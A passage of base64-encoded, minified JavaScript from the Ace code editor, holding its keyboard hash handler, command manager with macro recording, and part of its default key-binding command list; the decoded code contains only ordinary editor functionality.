y5sZW5ndGgpYnJlYWs7bi5sYXN0SW5kZXg9YSs9MX1pZih1LmluZGV4K2Y+cilicmVhaztvLnB1c2godS5pbmRleCxmKX1mb3IodmFyIGw9by5sZW5ndGgtMTtsPj0wO2wtPTIpe3ZhciBjPW9bbC0xXSxmPW9bbF07aWYoaSh0LGMsdCxjK2YpKXJldHVybiEwfX07ZWxzZSB2YXIgYz1mdW5jdGlvbih0LHIsaSl7dmFyIHM9ZS5nZXRMaW5lKHQpLG8sdTtuLmxhc3RJbmRleD1yO3doaWxlKHU9bi5leGVjKHMpKXt2YXIgYT11WzBdLmxlbmd0aDtvPXUuaW5kZXg7aWYoaSh0LG8sdCxvK2EpKXJldHVybiEwO2lmKCFhKXtuLmxhc3RJbmRleD1vKz0xO2lmKG8+PXMubGVuZ3RoKXJldHVybiExfX19O3JldHVybntmb3JFYWNoOmZ9fX0pLmNhbGwoby5wcm90b3R5cGUpLHQuU2VhcmNoPW99KSxkZWZpbmUoImFjZS9rZXlib2FyZC9oYXNoX2hhbmRsZXIiLFsicmVxdWlyZSIsImV4cG9ydHMiLCJtb2R1bGUiLCJhY2UvbGliL2tleXMiLCJhY2UvbGliL3VzZXJhZ2VudCJdLGZ1bmN0aW9uKGUsdCxuKXsidXNlIHN0cmljdCI7ZnVuY3Rpb24gbyhlLHQpe3RoaXMucGxhdGZvcm09dHx8KGkuaXNNYWM/Im1hYyI6IndpbiIpLHRoaXMuY29tbWFuZHM9e30sdGhpcy5jb21tYW5kS2V5QmluZGluZz17fSx0aGlzLmFkZENvbW1hbmRzKGUpLHRoaXMuJHNpbmdsZUNvbW1hbmQ9ITB9ZnVuY3Rpb24gdShlLHQpe28uY2FsbCh0aGlzLGUsdCksdGhpcy4kc2luZ2xlQ29tbWFuZD0hMX12YXIgcj1lKCIuLi9saWIva2V5cyIpLGk9ZSgiLi4vbGliL3VzZXJhZ2VudCIpLHM9ci5LRVlfTU9EUzt1LnByb3RvdHlwZT1vLnByb3RvdHlwZSxmdW5jdGlvbigpe2Z1bmN0aW9uIGUoZSl7cmV0dXJuIHR5cGVvZiBlPT0ib2JqZWN0IiYmZS5iaW5kS2V5JiZlLmJpbmRLZXkucG9zaXRpb258fChlLmlzRGVmYXVsdD8tMTAwOjApfXRoaXMuYWRkQ29tbWFuZD1mdW5jdGlvbihlKXt0aGlzLmNvbW1hbmRzW2UubmFtZV0mJnRoaXMucmVtb3ZlQ29tbWFuZChlKSx0aGlzLmNvbW1hbmRzW2UubmFtZV09ZSxlLmJpbmRLZXkmJnRoaXMuX2J1aWxkS2V5SGFzaChlKX0sdGhpcy5yZW1vdmVDb21tYW5kPWZ1bmN0aW9uKGUsdCl7dmFyIG49ZSYmKHR5cGVvZiBlPT0ic3RyaW5nIj9lOmUubmFtZSk7ZT10aGlzLmNvbW1hbmRzW25dLHR8fGRlbGV0ZSB0aGlzLmNvbW1hbmRzW25dO3ZhciByPXRoaXMuY29tbWFuZEtleUJpbmRpbmc7Zm9yKHZhciBpIGluIHIpe3ZhciBzPXJbaV07aWYocz09ZSlkZWxldGUgcltpXTtlbHNlIGlmKEFycmF5LmlzQXJyYXkocykpe3ZhciBvPXMuaW5kZXhPZihlKTtvIT0tMSYmKHMuc3BsaWNlKG8sMSkscy5sZW5ndGg9PTEmJihyW2ldPXNbMF0pKX19fSx0aGlzLmJpbmRLZXk9ZnVuY3Rpb24oZSx0LG4pe3R5cGVvZiBlPT0ib2JqZWN0IiYmZSYmKG49PXVuZGVmaW5lZCYmKG49ZS5wb3NpdGlvbiksZT1lW3RoaXMucGxhdGZvcm1dKTtpZighZSlyZXR1cm47aWYodHlwZW9mIHQ9PSJmdW5jdGlvbiIpcmV0dXJuIHRoaXMuYWRkQ29tbWFuZCh7ZXhlYzp0LGJpbmRLZXk6ZSxuYW1lOnQubmFtZXx8ZX0pO2Uuc3BsaXQoInwiKS5mb3JFYWNoKGZ1bmN0aW9uKGUpe3ZhciByPSIiO2lmKGUuaW5kZXhPZigiICIpIT0tMSl7dmFyIGk9ZS5zcGxpdCgvXHMrLyk7ZT1pLnBvcCgpLGkuZm9yRWFjaChmdW5jdGlvbihlKXt2YXIgdD10aGlzLnBhcnNlS2V5cyhlKSxuPXNbdC5oYXNoSWRdK3Qua2V5O3IrPShyPyIgIjoiIikrbix0aGlzLl9hZGRDb21tYW5kVG9CaW5kaW5nKHIsImNoYWluS2V5cyIpfSx0aGlzKSxyKz0iICJ9dmFyIG89dGhpcy5wYXJzZUtleXMoZSksdT1zW28uaGFzaElkXStvLmtleTt0aGlzLl9hZGRDb21tYW5kVG9CaW5kaW5nKHIrdSx0LG4pfSx0aGlzKX0sdGhpcy5fYWRkQ29tbWFuZFRvQmluZGluZz1mdW5jdGlvbih0LG4scil7dmFyIGk9dGhpcy5jb21tYW5kS2V5QmluZGluZyxzO2lmKCFuKWRlbGV0ZSBpW3RdO2Vsc2UgaWYoIWlbdF18fHRoaXMuJHNpbmdsZUNvbW1hbmQpaVt0XT1uO2Vsc2V7QXJyYXkuaXNBcnJheShpW3RdKT8ocz1pW3RdLmluZGV4T2YobikpIT0tMSYmaVt0XS5zcGxpY2UocywxKTppW3RdPVtpW3RdXSx0eXBlb2YgciE9Im51bWJlciImJihyPWUobikpO3ZhciBvPWlbdF07Zm9yKHM9MDtzPG8ubGVuZ3RoO3MrKyl7dmFyIHU9b1tzXSxhPWUodSk7aWYoYT5yKWJyZWFrfW8uc3BsaWNlKHMsMCxuKX19LHRoaXMuYWRkQ29tbWFuZHM9ZnVuY3Rpb24oZSl7ZSYmT2JqZWN0LmtleXMoZSkuZm9yRWFjaChmdW5jdGlvbih0KXt2YXIgbj1lW3RdO2lmKCFuKXJldHVybjtpZih0eXBlb2Ygbj09InN0cmluZyIpcmV0dXJuIHRoaXMuYmluZEtleShuLHQpO3R5cGVvZiBuPT0iZnVuY3Rpb24iJiYobj17ZXhlYzpufSk7aWYodHlwZW9mIG4hPSJvYmplY3QiKXJldHVybjtuLm5hbWV8fChuLm5hbWU9dCksdGhpcy5hZGRDb21tYW5kKG4pfSx0aGlzKX0sdGhpcy5yZW1vdmVDb21tYW5kcz1mdW5jdGlvbihlKXtPYmplY3Qua2V5cyhlKS5mb3JFYWNoKGZ1bmN0aW9uKHQpe3RoaXMucmVtb3ZlQ29tbWFuZChlW3RdKX0sdGhpcyl9LHRoaXMuYmluZEtleXM9ZnVuY3Rpb24oZSl7T2JqZWN0LmtleXMoZSkuZm9yRWFjaChmdW5jdGlvbih0KXt0aGlzLmJpbmRLZXkodCxlW3RdKX0sdGhpcyl9LHRoaXMuX2J1aWxkS2V5SGFzaD1mdW5jdGlvbihlKXt0aGlzLmJpbmRLZXkoZS5iaW5kS2V5LGUpfSx0aGlzLnBhcnNlS2V5cz1mdW5jdGlvbihlKXt2YXIgdD1lLnRvTG93ZXJDYXNlKCkuc3BsaXQoL1tcLVwrXShbXC1cK10pPy8pLmZpbHRlcihmdW5jdGlvbihlKXtyZXR1cm4gZX0pLG49dC5wb3AoKSxpPXJbbl07aWYoci5GVU5DVElPTl9LRVlTW2ldKW49ci5GVU5DVElPTl9LRVlTW2ldLnRvTG93ZXJDYXNlKCk7ZWxzZXtpZighdC5sZW5ndGgpcmV0dXJue2tleTpuLGhhc2hJZDotMX07aWYodC5sZW5ndGg9PTEmJnRbMF09PSJzaGlmdCIpcmV0dXJue2tleTpuLnRvVXBwZXJDYXNlKCksaGFzaElkOi0xfX12YXIgcz0wO2Zvcih2YXIgbz10Lmxlbmd0aDtvLS07KXt2YXIgdT1yLktFWV9NT0RTW3Rbb11dO2lmKHU9PW51bGwpcmV0dXJuIHR5cGVvZiBjb25zb2xlIT0idW5kZWZpbmVkIiYmY29uc29sZS5lcnJvcigiaW52YWxpZCBtb2RpZmllciAiK3Rbb10rIiBpbiAiK2UpLCExO3N8PXV9cmV0dXJue2tleTpuLGhhc2hJZDpzfX0sdGhpcy5maW5kS2V5Q29tbWFuZD1mdW5jdGlvbih0LG4pe3ZhciByPXNbdF0rbjtyZXR1cm4gdGhpcy5jb21tYW5kS2V5QmluZGluZ1tyXX0sdGhpcy5oYW5kbGVLZXlib2FyZD1mdW5jdGlvbihlLHQsbixyKXtpZihyPDApcmV0dXJuO3ZhciBpPXNbdF0rbixvPXRoaXMuY29tbWFuZEtleUJpbmRpbmdbaV07ZS4ka2V5Q2hhaW4mJihlLiRrZXlDaGFpbis9IiAiK2ksbz10aGlzLmNvbW1hbmRLZXlCaW5kaW5nW2UuJGtleUNoYWluXXx8byk7aWYobylpZihvPT0iY2hhaW5LZXlzInx8b1tvLmxlbmd0aC0xXT09ImNoYWluS2V5cyIpcmV0dXJuIGUuJGtleUNoYWluPWUuJGtleUNoYWlufHxpLHtjb21tYW5kOiJudWxsIn07aWYoZS4ka2V5Q2hhaW4paWYoISF0JiZ0IT00fHxuLmxlbmd0aCE9MSl7aWYodD09LTF8fHI+MCllLiRrZXlDaGFpbj0iIn1lbHNlIGUuJGtleUNoYWluPWUuJGtleUNoYWluLnNsaWNlKDAsLWkubGVuZ3RoLTEpO3JldHVybntjb21tYW5kOm99fSx0aGlzLmdldFN0YXR1c1RleHQ9ZnVuY3Rpb24oZSx0KXtyZXR1cm4gdC4ka2V5Q2hhaW58fCIifX0uY2FsbChvLnByb3RvdHlwZSksdC5IYXNoSGFuZGxlcj1vLHQuTXVsdGlIYXNoSGFuZGxlcj11fSksZGVmaW5lKCJhY2UvY29tbWFuZHMvY29tbWFuZF9tYW5hZ2VyIixbInJlcXVpcmUiLCJleHBvcnRzIiwibW9kdWxlIiwiYWNlL2xpYi9vb3AiLCJhY2Uva2V5Ym9hcmQvaGFzaF9oYW5kbGVyIiwiYWNlL2xpYi9ldmVudF9lbWl0dGVyIl0sZnVuY3Rpb24oZSx0LG4peyJ1c2Ugc3RyaWN0Ijt2YXIgcj1lKCIuLi9saWIvb29wIiksaT1lKCIuLi9rZXlib2FyZC9oYXNoX2hhbmRsZXIiKS5NdWx0aUhhc2hIYW5kbGVyLHM9ZSgiLi4vbGliL2V2ZW50X2VtaXR0ZXIiKS5FdmVudEVtaXR0ZXIsbz1mdW5jdGlvbihlLHQpe2kuY2FsbCh0aGlzLHQsZSksdGhpcy5ieU5hbWU9dGhpcy5jb21tYW5kcyx0aGlzLnNldERlZmF1bHRIYW5kbGVyKCJleGVjIixmdW5jdGlvbihlKXtyZXR1cm4gZS5hcmdzP2UuY29tbWFuZC5leGVjKGUuZWRpdG9yLGUuYXJncyxlLmV2ZW50LCExKTplLmNvbW1hbmQuZXhlYyhlLmVkaXRvcix7fSxlLmV2ZW50LCEwKX0pfTtyLmluaGVyaXRzKG8saSksZnVuY3Rpb24oKXtyLmltcGxlbWVudCh0aGlzLHMpLHRoaXMuZXhlYz1mdW5jdGlvbihlLHQsbil7aWYoQXJyYXkuaXNBcnJheShlKSl7Zm9yKHZhciByPWUubGVuZ3RoO3ItLTspaWYodGhpcy5leGVjKGVbcl0sdCxuKSlyZXR1cm4hMDtyZXR1cm4hMX10eXBlb2YgZT09InN0cmluZyImJihlPXRoaXMuY29tbWFuZHNbZV0pO2lmKCFlKXJldHVybiExO2lmKHQmJnQuJHJlYWRPbmx5JiYhZS5yZWFkT25seSlyZXR1cm4hMTtpZih0aGlzLiRjaGVja0NvbW1hbmRTdGF0ZSE9MCYmZS5pc0F2YWlsYWJsZSYmIWUuaXNBdmFpbGFibGUodCkpcmV0dXJuITE7dmFyIGk9e2VkaXRvcjp0LGNvbW1hbmQ6ZSxhcmdzOm59O3JldHVybiBpLnJldHVyblZhbHVlPXRoaXMuX2VtaXQoImV4ZWMiLGkpLHRoaXMuX3NpZ25hbCgiYWZ0ZXJFeGVjIixpKSxpLnJldHVyblZhbHVlPT09ITE/ITE6ITB9LHRoaXMudG9nZ2xlUmVjb3JkaW5nPWZ1bmN0aW9uKGUpe2lmKHRoaXMuJGluUmVwbGF5KXJldHVybjtyZXR1cm4gZSYmZS5fZW1pdCgiY2hhbmdlU3RhdHVzIiksdGhpcy5yZWNvcmRpbmc/KHRoaXMubWFjcm8ucG9wKCksdGhpcy5vZmYoImV4ZWMiLHRoaXMuJGFkZENvbW1hbmRUb01hY3JvKSx0aGlzLm1hY3JvLmxlbmd0aHx8KHRoaXMubWFjcm89dGhpcy5vbGRNYWNybyksdGhpcy5yZWNvcmRpbmc9ITEpOih0aGlzLiRhZGRDb21tYW5kVG9NYWNyb3x8KHRoaXMuJGFkZENvbW1hbmRUb01hY3JvPWZ1bmN0aW9uKGUpe3RoaXMubWFjcm8ucHVzaChbZS5jb21tYW5kLGUuYXJnc10pfS5iaW5kKHRoaXMpKSx0aGlzLm9sZE1hY3JvPXRoaXMubWFjcm8sdGhpcy5tYWNybz1bXSx0aGlzLm9uKCJleGVjIix0aGlzLiRhZGRDb21tYW5kVG9NYWNybyksdGhpcy5yZWNvcmRpbmc9ITApfSx0aGlzLnJlcGxheT1mdW5jdGlvbihlKXtpZih0aGlzLiRpblJlcGxheXx8IXRoaXMubWFjcm8pcmV0dXJuO2lmKHRoaXMucmVjb3JkaW5nKXJldHVybiB0aGlzLnRvZ2dsZVJlY29yZGluZyhlKTt0cnl7dGhpcy4kaW5SZXBsYXk9ITAsdGhpcy5tYWNyby5mb3JFYWNoKGZ1bmN0aW9uKHQpe3R5cGVvZiB0PT0ic3RyaW5nIj90aGlzLmV4ZWModCxlKTp0aGlzLmV4ZWModFswXSxlLHRbMV0pfSx0aGlzKX1maW5hbGx5e3RoaXMuJGluUmVwbGF5PSExfX0sdGhpcy50cmltTWFjcm89ZnVuY3Rpb24oZSl7cmV0dXJuIGUubWFwKGZ1bmN0aW9uKGUpe3JldHVybiB0eXBlb2YgZVswXSE9InN0cmluZyImJihlWzBdPWVbMF0ubmFtZSksZVsxXXx8KGU9ZVswXSksZX0pfX0uY2FsbChvLnByb3RvdHlwZSksdC5Db21tYW5kTWFuYWdlcj1vfSksZGVmaW5lKCJhY2UvY29tbWFuZHMvZGVmYXVsdF9jb21tYW5kcyIsWyJyZXF1aXJlIiwiZXhwb3J0cyIsIm1vZHVsZSIsImFjZS9saWIvbGFuZyIsImFjZS9jb25maWciLCJhY2UvcmFuZ2UiXSxmdW5jdGlvbihlLHQsbil7InVzZSBzdHJpY3QiO2Z1bmN0aW9uIG8oZSx0KXtyZXR1cm57d2luOmUsbWFjOnR9fXZhciByPWUoIi4uL2xpYi9sYW5nIiksaT1lKCIuLi9jb25maWciKSxzPWUoIi4uL3JhbmdlIikuUmFuZ2U7dC5jb21tYW5kcz1be25hbWU6InNob3dTZXR0aW5nc01lbnUiLGRlc2NyaXB0aW9uOiJTaG93IHNldHRpbmdzIG1lbnUiLGJpbmRLZXk6bygiQ3RybC0sIiwiQ29tbWFuZC0sIiksZXhlYzpmdW5jdGlvbihlKXtpLmxvYWRNb2R1bGUoImFjZS9leHQvc2V0dGluZ3NfbWVudSIsZnVuY3Rpb24odCl7dC5pbml0KGUpLGUuc2hvd1NldHRpbmdzTWVudSgpfSl9LHJlYWRPbmx5OiEwfSx7bmFtZToiZ29Ub05leHRFcnJvciIsZGVzY3JpcHRpb246IkdvIHRvIG5leHQgZXJyb3IiLGJpbmRLZXk6bygiQWx0LUUiLCJGNCIpLGV4ZWM6ZnVuY3Rpb24oZSl7aS5sb2FkTW9kdWxlKCIuL2V4dC9lcnJvcl9tYXJrZXIiLGZ1bmN0aW9uKHQpe3Quc2hvd0Vycm9yTWFya2VyKGUsMSl9KX0sc2Nyb2xsSW50b1ZpZXc6ImFuaW1hdGUiLHJlYWRPbmx5OiEwfSx7bmFtZToiZ29Ub1ByZXZpb3VzRXJyb3IiLGRlc2NyaXB0aW9uOiJHbyB0byBwcmV2aW91cyBlcnJvciIsYmluZEtleTpvKCJBbHQtU2hpZnQtRSIsIlNoaWZ0LUY0IiksZXhlYzpmdW5jdGlvbihlKXtpLmxvYWRNb2R1bGUoIi4vZXh0L2Vycm9yX21hcmtlciIsZnVuY3Rpb24odCl7dC5zaG93RXJyb3JNYXJrZXIoZSwtMSl9KX0sc2Nyb2xsSW50b1ZpZXc6ImFuaW1hdGUiLHJlYWRPbmx5OiEwfSx7bmFtZToic2VsZWN0YWxsIixkZXNjcmlwdGlvbjoiU2VsZWN0IGFsbCIsYmluZEtleTpvKCJDdHJsLUEiLCJDb21tYW5kLUEiKSxleGVjOmZ1bmN0aW9uKGUpe2Uuc2VsZWN0QWxsKCl9LHJlYWRPbmx5OiEwfSx7bmFtZToiY2VudGVyc2VsZWN0aW9uIixkZXNjcmlwdGlvbjoiQ2VudGVyIHNlbGVjdGlvbiIsYmluZEtleTpvKG51bGwsIkN0cmwtTCIpLGV4ZWM6ZnVuY3Rpb24oZSl7ZS5jZW50ZXJTZWxlY3Rpb24oKX0scmVhZE9ubHk6ITB9LHtuYW1lOiJnb3RvbGluZSIsZGVzY3JpcHRpb246IkdvIHRvIGxpbmUuLi4iLGJpbmRLZXk6bygiQ3RybC1MIiwiQ29tbWFuZC1MIiksZXhlYzpmdW5jdGlvbihlLHQpe3R5cGVvZiB0PT0ibnVtYmVyIiYmIWlzTmFOKHQpJiZlLmdvdG9MaW5lKHQpLGUucHJvbXB0KHskdHlwZToiZ290b0xpbmUifSl9LHJlYWRPbmx5OiEwfSx7bmFtZToiZm9sZCIsYmluZEtleTpvKCJBbHQtTHxDdHJsLUYxIiwiQ29tbWFuZC1BbHQtTHxDb21tYW5kLUYxIiksZXhlYzpmdW5jdGlvbihlKXtlLnNlc3Npb24udG9nZ2xlRm9sZCghMSl9LG11bHRpU2VsZWN0QWN0aW9uOiJmb3JFYWNoIixzY3JvbGxJbnRvVmlldzoiY2VudGVyIixyZWFkT25seTohMH0se25hbWU6InVuZm9sZCIsYmluZEtleTpvKCJBbHQtU2hpZnQtTHxDdHJsLVNoaWZ0LUYxIiwiQ29tbWFuZC1BbHQtU2hpZnQtTHxDb21tYW5kLVNoaWZ0LUYxIiksZXhlYzpmdW5jdGlvbihlKXtlLnNlc3Npb24udG9nZ2xlRm9sZCghMCl9LG11bHRpU2VsZWN0QWN0aW9uOiJmb3JFYWNoIixzY3JvbGxJbnRvVmlldzoiY2VudGVyIixyZWFkT25seTohMH0se25hbWU6InRvZ2dsZUZvbGRXaWRnZXQiLGRlc2NyaXB0aW9uOiJUb2dnbGUgZm9sZCB3aWRnZXQiLGJpbmRLZXk6bygiRjIiLCJGMiIpLGV4ZWM6ZnVuY3Rpb24oZSl7ZS5zZXNzaW9uLnRvZ2dsZUZvbGRXaWRnZXQoKX0sbXVsdGlTZWxlY3RBY3Rpb246ImZvckVhY2giLHNjcm9sbEludG9WaWV3OiJjZW50ZXIiLHJlYWRPbmx5OiEwfSx7bmFtZToidG9nZ2xlUGFyZW50Rm9sZFdpZGdldCIsZGVzY3JpcHRpb246IlRvZ2dsZSBwYXJlbnQgZm9sZCB3aWRnZXQiLGJpbmRLZXk6bygiQWx0LUYyIiwiQWx0LUYyIiksZXhlYzpmdW5jdGlvbihlKXtlLnNlc3Npb24udG9nZ2xlRm9sZFdpZGdldCghMCl9LG11bHRpU2VsZWN0QWN0aW9uOiJmb3JFYWNoIixzY3JvbGxJbnRvVmlldzoiY2VudGVyIixyZWFkT25seTohMH0se25hbWU6ImZvbGRhbGwiLGRlc2NyaXB0aW9uOiJGb2xkIGFsbCIsYmluZEtleTpvKG51bGwsIkN0cmwtQ29tbWFuZC1PcHRpb24tMCIpLGV4ZWM6ZnVuY3Rpb24oZSl7ZS5zZXNzaW9uLmZvbGRBbGwoKX0sc2Nyb2xsSW50b1ZpZXc6ImNlbnRlciIscmVhZE9ubHk6ITB9LHtuYW1lOiJmb2xkQWxsQ29tbWVudHMiLGRlc2NyaXB0aW9uOiJGb2xkIGFsbCBjb21tZW50cyIsYmluZEtleTpvKG51bGwsIkN0cmwtQ29tbWFuZC1PcHRpb24tMCIpLGV4ZWM6ZnVuY3Rpb24oZSl7ZS5zZXNzaW9uLmZvbGRBbGxDb21tZW50cygpfSxzY3JvbGxJbnRvVmlldzoiY2VudGVyIixyZWFkT25seTohMH0se25hbWU6ImZvbGRPdGhlciIsZGVzY3JpcHRpb246IkZvbGQgb3RoZXIiLGJpbmRLZXk6bygiQWx0LTAiLCJDb21tYW5kLU9wdGlvbi0wIiksZXhlYzpmdW5jdGlvbihlKXtlLnNlc3Npb24uZm9sZEFsbCgpLGUuc2Vzc2lvbi51bmZvbGQoZS5zZWxlY3Rpb24uZ2V0QWxsUmFuZ2VzKCkpfSxzY3JvbGxJbnRvVmlldzoiY2VudGVyIixyZWFkT25seTohMH0se25hbWU6InVuZm9sZGFsbCIsZGVzY3JpcHRpb246IlVuZm9sZCBhbGwiLGJpbmRLZXk6bygiQWx0LVNoaWZ0LTAiLCJDb21tYW5kLU9wdGlvbi1TaGlmdC0wIiksZXhlYzpmdW5jdGlvbihlKXtlLnNlc3Npb24udW5mb2xkKCl9LHNjcm9sbEludG9WaWV3OiJjZW50ZXIiLHJlYWRPbmx5OiEwfSx7bmFtZToiZmluZG5leHQiLGRlc2NyaXB0aW9uOiJGaW5kIG5leHQiLGJpbmRLZXk6bygiQ3RybC1LIiwiQ29tbWFuZC1HIiksZXhlYzpmdW5jdGlvbihlKXtlLmZpbmROZXh0KCl9LG11bHRpU2VsZWN0QWN0aW9uOiJmb3JFYWNoIixzY3JvbGxJbnRvVmlldzoiY2VudGVyIixyZWFkT25seTohMH0se25hbWU6ImZpbmRwcmV2aW91cyIsZGVzY3JpcHRpb246IkZpbmQgcHJldmlvdXMiLGJpbmRLZXk6bygiQ3RybC1TaGlmdC1LIiwiQ29tbWFuZC1TaGlmdC1HIiksZXhlYzpmdW5jdGlvbihlKXtlLmZpbmRQcmV2aW91cygpfSxtdWx0aVNlbGVjdEFjdGlvbjoiZm9yRWFjaCIsc2Nyb2xsSW50b1ZpZXc6ImNlbnRlciIscmVhZE9ubHk6ITB9LHtuYW1lOiJzZWxlY3RPckZpbmROZXh0IixkZXNjcmlwdGlvbjoiU2VsZWN0IG9yIGZpbmQgbmV4dCIsYmluZEtleTpvKCJBbHQtSyIsIkN0cmwtRyIpLGV4ZWM6ZnVuY3Rpb24oZSl7ZS5zZWxlY3Rpb24uaXNFbXB0eSgpP2Uuc2VsZWN0aW9uLnNlbGVjdFdvcmQoKTplLmZpbmROZXh0KCl9LHJlYWRPbmx5OiEwfSx7bmFtZToic2VsZWN0T3JGaW5kUHJldmlvdXMiLGRlc2NyaXB0aW9uOiJTZWxlY3Qgb3IgZmluZCBwcmV2aW91cyIsYmluZEtleTpvKCJBbHQtU2hpZnQtSyIsIkN0cmwtU2hpZnQtRyIpLGV4ZWM6ZnVuY3Rpb24oZSl7ZS5zZWxlY3Rpb24uaXNFbXB0eSgpP2Uuc2VsZWN0aW9uLnNlbGVjdFdvcmQoKTplLmZpbmRQcmV2aW91cygpfSxyZWFkT25seTohMH0se25hbWU6ImZpbmQiLGRlc2NyaXB0aW9uOiJGaW5kIixiaW5kS2V5Om8oIkN0cmwtRiIsIkNvbW1hbmQtRiIpLGV4ZWM6ZnVuY3Rpb24oZSl7aS5sb2FkTW9kdWxlKCJhY2UvZXh0L3NlYXJjaGJveCIsZnVuY3Rpb24odCl7dC5TZWFyY2goZSl9KX0scmVhZE9ubHk6ITB9LHtuYW1lOiJvdmVyd3JpdGUiLGRlc2NyaXB0aW9uOiJPdmVyd3JpdGUiLGJpbmRLZXk6Ikluc2VydCIsZXhlYzpmdW5jdGlvbihlKXtlLnRvZ2dsZU92ZXJ3cml0ZSgpfSxyZWFkT25seTohMH0se25hbWU6InNlbGVjdHRvc3RhcnQiLGRlc2NyaXB0aW9uOiJTZWxlY3QgdG8gc3RhcnQiLGJpbmRLZXk6bygiQ3RybC1TaGlmdC1Ib21lIiwiQ29tbWFuZC1TaGlmdC1Ib21lfENvbW1hbmQtU2hpZnQtVXAiKSxleGVjOmZ1bmN0aW9uKGUpe2UuZ2V0U2VsZWN0aW9uKCkuc2VsZWN0RmlsZVN0YXJ0KCl9LG11bHRpU2VsZWN0QWN0aW9uOiJmb3JFYWNoIixyZWFkT25seTohMCxzY3JvbGxJbnRvVmlldzoiYW5pbWF0ZSIsYWNlQ29tbWFuZEdyb3VwOiJmaWxlSnVtcCJ9LHtuYW1lOiJnb3Rvc3RhcnQiLGRlc2NyaXB0aW9uOiJHbyB0byBzdGFydCIsYmluZEtleTpvKCJDdHJsLUhvbWUiLCJDb21tYW5kLUhvbWV8Q29tbWFuZC1VcCIpLGV4ZWM6ZnVuY3Rpb24oZSl7ZS5uYXZpZ2F0ZUZpbGVTdGFydCgpfSxtdWx0aVNlbGVjdEFjdGlvbjoiZm9yRWFjaCIscmVhZE9ubHk6ITAsc2Nyb2xsSW50b1ZpZXc6ImFuaW1hdGUiLGFjZUNvbW1hbmRHcm91cDoiZmlsZUp1bXAifSx7bmFtZToic2VsZWN0dXAiLGRlc2NyaXB0aW9uOiJTZWxlY3QgdXAiLGJpbmRLZXk6bygiU2hpZnQtVXAiLCJTaGlmdC1VcHxDdHJsLVNoaWZ0LVAiKSxleGVjOmZ1bmN0aW9uKGUpe2UuZ2V0U2VsZWN0aW9uKCkuc2VsZWN0VXAoKX0sbXVsdGlTZWxlY3RBY3Rpb246ImZvckVhY2giLHNjcm9sbEludG9WaWV3OiJjdXJzb3IiLHJlYWRPbmx5OiEwfSx7bmFtZToiZ29saW5ldXAiLGRlc2NyaXB0aW9uOiJHbyBsaW5lIHVwIixiaW5kS2V5Om8oIlVwIiwiVXB8Q3RybC1QIiksZXhlYzpmdW5jdGlvbihlLHQpe2UubmF2aWdhdGVVcCh0LnRpbWVzKX0sbXVsdGlTZWxlY3RBY3Rpb246ImZvckVhY2giLHNjcm9sbEludG9WaWV3OiJjdXJzb3IiLHJlYWRPbmx5OiEwfSx7bmFtZToic2VsZWN0dG9lbmQiLGRlc2NyaXB0aW9uOiJTZWxlY3QgdG8gZW5kIixiaW5kS2V5Om8oIkN0cmwtU2hpZnQtRW5kIiwiQ29tbWFuZC1TaGlmdC1FbmR8Q29tbWFuZC1TaGlmdC1Eb3duIiksZXhlYzpmdW5jdGlvbihlKXtlLmdldFNlbGVjdGlvbigpLnNlbGVjdEZpbGVFbmQoKX0sbXVsdGlTZWxlY3RBY3Rpb246ImZvckVhY2giLHJlYWRPbmx5OiEwLHNjcm9sbEludG9WaWV3OiJhbmltYXRlIixhY2VDb21tYW5kR3JvdXA6ImZpbGVKdW1wIn0se25hbWU6ImdvdG9lbmQiLGRlc2NyaXB0aW9uOiJHbyB0byBlbmQiLGJpbmRLZXk6bygiQ3RybC1FbmQiLCJDb21tYW5kLUVuZHxDb21tYW5kLURvd24iKSxleGVjOmZ1bmN0aW9uKGUpe2UubmF2aWdhdGVGaWxlRW5kKCl9LG11bHRpU2VsZWN0QWN0aW9uOiJmb3JFYWNoIixyZWFkT25seTohMCxzY3JvbGxJbnRvVmlldzoiYW5pbWF0ZSIsYWNlQ29tbWFuZEdyb3VwOiJmaWxlSnVtcCJ9LHtuYW1lOiJzZWxlY3Rkb3duIixkZXNjcmlwdGlvbjoiU2VsZWN0IGRvd24iLGJpbmRLZXk6bygiU2hpZnQtRG93biIsIlNoaWZ0LURvd258Q3RybC1TaGlmdC1OIiksZXhlYzpmdW5jdGlvbihlKXtlLmdldFNlbGVjdGlvbigpLnNlbGVjdERvd24oKX0sbXVsdGlTZWxlY3RBY3Rpb246ImZvckVhY2giLHNjcm9sbEludG9WaWV3OiJjdXJzb3IiLHJlYWRPbmx5OiEwfSx7bmFtZToiZ29saW5lZG93biIsZGVzY3JpcHRpb246IkdvIGxpbmUgZG93biIsYmluZEtleTpvKCJEb3duIiwiRG93bnxDdHJsLU4iKSxleGVjOmZ1bmN0aW9uKGUsdCl7ZS5uYXZpZ2F0ZURvd24odC50aW1lcyl9LG11bHRpU2VsZWN0QWN0aW9uOiJmb3JFYWNoIixzY3JvbGxJbnRvVmlldzoiY3Vyc29yIixyZWFkT25seTohMH0se25hbWU6InNlbGVjdHdvcmRsZWZ0IixkZXNjcmlwdGlvbjoiU2VsZWN0IHdvcmQgbGVmdCIsYmluZEtleTpvKCJDdHJsLVNoaWZ0LUxlZnQiLCJPcHRpb24tU2hpZnQtTGVmdCIpLGV4ZWM6ZnVuY3Rpb24oZSl7ZS5nZXRTZWxlY3Rpb24oKS5zZWxlY3RXb3JkTGVmdCgpfSxtdWx0aVNlbGVjdEFjdGlvbjoiZm9yRWFjaCIsc2Nyb2xsSW50b1ZpZXc6ImN1cnNvciIscmVhZE9ubHk6ITB9LHtuYW1lOiJnb3Rvd29yZGxlZnQiLGRlc2NyaXB0aW9uOiJHbyB0byB3b3JkIGxlZnQiLGJpbmRLZXk6bygiQ3RybC1MZWZ0IiwiT3B0aW9uLUxlZnQiKSxleGVjOmZ1bmN0aW9uKGUpe2UubmF2aWdhdGVXb3JkTGVmdCgpfSxtdWx0aVNlbGVjdEFjdGlvbjoiZm9yRWFjaCIsc2Nyb2xsSW50b1ZpZXc6ImN1cnNvciIscmVhZE9ubHk6ITB9LHtuYW1lOiJzZWxlY3R0b2xpbmVzdGFydCIsZGVzY3JpcHRpb246IlNlbGVjdCB0byBsaW5lIHN0YXJ0IixiaW5kS2V5Om8oIkFsdC1TaGlmdC1MZWZ0IiwiQ29tbWFuZC1TaGlmdC1MZWZ0fEN0cmwtU2hpZnQtQSIpLGV4ZWM6ZnVuY3Rpb24oZSl7ZS5nZXRTZWxlY3Rpb24oKS5zZWxlY3RMaW5lU3RhcnQoKX0sbXVsdGlTZWxlY3RBY3Rpb246ImZvckVhY2giLHNjcm9sbEludG9WaWV3OiJjdXJzb3IiLHJlYWRPbmx5OiEwfSx7bmFtZToiZ290b2xpbmVzdGF